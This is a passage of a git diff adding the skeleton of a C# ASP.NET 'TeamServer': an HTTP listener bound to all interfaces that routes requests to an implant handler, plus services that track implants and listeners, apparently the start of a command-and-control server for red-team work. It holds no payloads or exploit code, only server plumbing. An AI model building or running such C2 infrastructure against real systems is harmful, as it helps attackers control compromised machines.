+ public int BindPort { get; } + + public CancellationTokenSource _cancelToken; + + public HTTPListener(string name, int port){ + Name = name; + BindPort = port; + } + + public override async Task Start() + { + var Builder = new HostBuilder().ConfigureWebHostDefaults(host => + { + host.UseUrls($"http://0.0.0.0:{BindPort}"); + host.Configure(ConfigureApplication); + host.ConfigureServices(ConfigureServices); + }); + + var host = Builder.Build(); + + _cancelToken = new CancellationTokenSource(); + host.RunAsync(_cancelToken.Token); + } + + private void ConfigureServices(IServiceCollection services) { + services.AddControllers(); + services.AddSingleton(ImplantSvc); + } + + private void ConfigureApplication(IApplicationBuilder app){ + app.UseRouting(); + app.UseEndpoints(endpoint => { + // could have it so that TS only accept conns to xyz paths + endpoint.MapControllerRoute("/", "/", new { controller = "HTTPListener", action = "HandleImplant"}); + }); + } + + public override void Stop(){ _cancelToken.Cancel(); } + } +} diff --git a/TeamServer/Models/Listeners/Listener.cs b/TeamServer/Models/Listeners/Listener.cs new file mode 100644 index 0000000..1edc9a3 --- /dev/null +++ b/TeamServer/Models/Listeners/Listener.cs @@ -0,0 +1,17 @@ +using System.Threading.Tasks; + +using TeamServer.Services; + +namespace TeamServer.Models +{ + public abstract class Listener + { + public abstract string Name { get; } + protected IImplantService ImplantSvc { get; set; } + + public void Init(IImplantService implantSvc) { ImplantSvc = implantSvc; } + + public abstract Task Start(); + public abstract void Stop(); + } +} diff --git a/TeamServer/Program.cs b/TeamServer/Program.cs new file mode 100644 index 0000000..65a4730 --- /dev/null +++ b/TeamServer/Program.cs @@ -0,0 +1,16 @@ +using Microsoft.AspNetCore.Hosting; +using Microsoft.Extensions.Hosting; + +namespace TeamServer +{ + public class Program + { + public static void Main(string[] args) + { + CreateHostBuilder(args).Build().Run(); + } + + public static IHostBuilder CreateHostBuilder(string[] args) => + Host.CreateDefaultBuilder(args).ConfigureWebHostDefaults(webBuilder => { webBuilder.UseStartup(); }); + } +} diff --git a/TeamServer/Properties/launchSettings.json b/TeamServer/Properties/launchSettings.json new file mode 100644 index 0000000..9808739 --- /dev/null +++ b/TeamServer/Properties/launchSettings.json @@ -0,0 +1,23 @@ +{ + "$schema": "http://json.schemastore.org/launchsettings.json", + "iisSettings": { + "windowsAuthentication": false, + "anonymousAuthentication": true, + "iisExpress": { + "applicationUrl": "http://localhost:43607", + "sslPort": 0 + } + }, + "profiles": { + "TeamServer": { + "commandName": "Project", + "dotnetRunMessages": "true", + "launchBrowser": false, + "launchUrl": "swagger", + "applicationUrl": "http://localhost:5000", + "environmentVariables": { + "ASPNETCORE_ENVIRONMENT": "Development" + } + } + } +} diff --git a/TeamServer/Services/IImplantService.cs b/TeamServer/Services/IImplantService.cs new file mode 100644 index 0000000..e3a87ac --- /dev/null +++ b/TeamServer/Services/IImplantService.cs @@ -0,0 +1,27 @@ +using System.Collections.Generic; +using System.Linq; +using TeamServer.Models; + +namespace TeamServer.Services +{ + public interface IImplantService{ + void AddImplant(Implant implant); + IEnumerable GetImplants(); + Implant GetImplant(string id); + void PurgeImplant(Implant implant); + } + + public class ImplantService : IImplantService + { + private readonly List _implants = new(); + public void AddImplant(Implant implant) { _implants.Add(implant); } + + public Implant GetImplant(string id) { return GetImplants().FirstOrDefault(implant => implant.Data.ID.Equals(id)); } + + public IEnumerable GetImplants() { return _implants; } + + public void PurgeImplant(Implant implant) { _implants.Remove(implant); } + + } + +} diff --git a/TeamServer/Services/IListenerService.cs b/TeamServer/Services/IListenerService.cs new file mode 100644 index 0000000..9229cec --- /dev/null +++ b/TeamServer/Services/IListenerService.cs @@ -0,0 +1,30 @@ +using System; +using System.Collections.Generic; +using System.Linq; + +using TeamServer.Models; + +namespace TeamServer.Services +{ + public interface IListenerService{ + void AddListener(Listener listener); + IEnumerable GetListeners(); + Listener GetListener(string name); + void PurgeListener(Listener listener); + } + + public class ListenerService : IListenerService + { + //add to files or something later + public static readonly List _listeners = new List(); + public void AddListener(Listener listener) { _listeners.Add(listener); } + + public Listener GetListener(string name){ + return GetListeners().FirstOrDefault(listener => listener.Name.Equals(name, StringComparison.InvariantCultureIgnoreCase)); + } + + public IEnumerable GetListeners(){ return _listeners; } + + public void PurgeListener(Listener listener){ _listeners.Remove(listener); } + } +} diff --git a/TeamServer/Startup.cs b/TeamServer/Startup.cs new file mode 100644 index 0000000..2c6f046 --- /dev/null +++ b/TeamServer/Startup.cs @@ -0,0 +1,54 @@ +using Microsoft.AspNetCore.Builder; +using Microsoft.AspNetCore.Hosting; +using Microsoft.Extensions.Configuration; +using Microsoft.Extensions.DependencyInjection; +using Microsoft.Extensions.Hosting; +using Microsoft.OpenApi.Models; + +using TeamServer.Services; + +namespace TeamServer +{ + public class Startup + { + public Startup(IConfiguration configuration) + { + Configuration = configuration; + } + + public IConfiguration Configuration { get; } + + // This method gets called by the runtime. Use this method to add services to the container. + public void ConfigureServices(IServiceCollection services) + { + services.AddControllers(); + services.AddSwaggerGen(c => + { + c.SwaggerDoc("v1", new OpenApiInfo { Title = "TeamServer", Version = "v1" }); + }); + + services.AddSingleton(); + services.AddSingleton(); + } + + // This method gets called by the runtime. Use this method to configure the HTTP request pipeline. + public void Configure(IApplicationBuilder app, IWebHostEnvironment env) + { + if (env.IsDevelopment()) + { + app.UseDeveloperExceptionPage(); + app.UseSwagger(); + app.UseSwaggerUI(c => c.SwaggerEndpoint("/swagger/v1/swagger.json", "TeamServer v1")); + } + + app.UseRouting(); + + app.UseAuthorization(); + + app.UseEndpoints(endpoints => + { + endpoints.MapControllers(); + }); + } + } +} diff --git a/TeamServer/TeamServer.csproj b/TeamServer/TeamServer.csproj new file mode 100644 index 0000000..932d20f --- /dev/null +++ b/TeamServer/TeamServer.csproj @@ -0,0 +1,16 @@ + + + + net5.0 + + + + + + + + + + + + diff --git a/TeamServer/appsettings.Development.json b/TeamServer/appsettings.Development.json new file mode 100644 index 0000000..8983e0f --- /dev/null +++ b/TeamServer/appsettings.Development.json @@ -0,0 +1,9 @@ +{ + "Logging": { + "LogLevel": { + "Default": "Information", + "Microsoft": "Warning", + "Microsoft.Hosting.Lifetime": "Information" + } + } +} diff --git a/TeamServer/appsettings.json b/TeamServer/appsettings.json new file mode 100644 index 0000000..d9d9a9b --- /dev/null +++ b/TeamServer/appsettings.json @@ -0,0 +1,10 @@ +{ + "Logging": { + "LogLevel": { + "Default": "Information", + "Microsoft": "Warning", + "Microsoft.Hosting.Lifetime": "Information" + } + }, + "AllowedHosts": "*" +}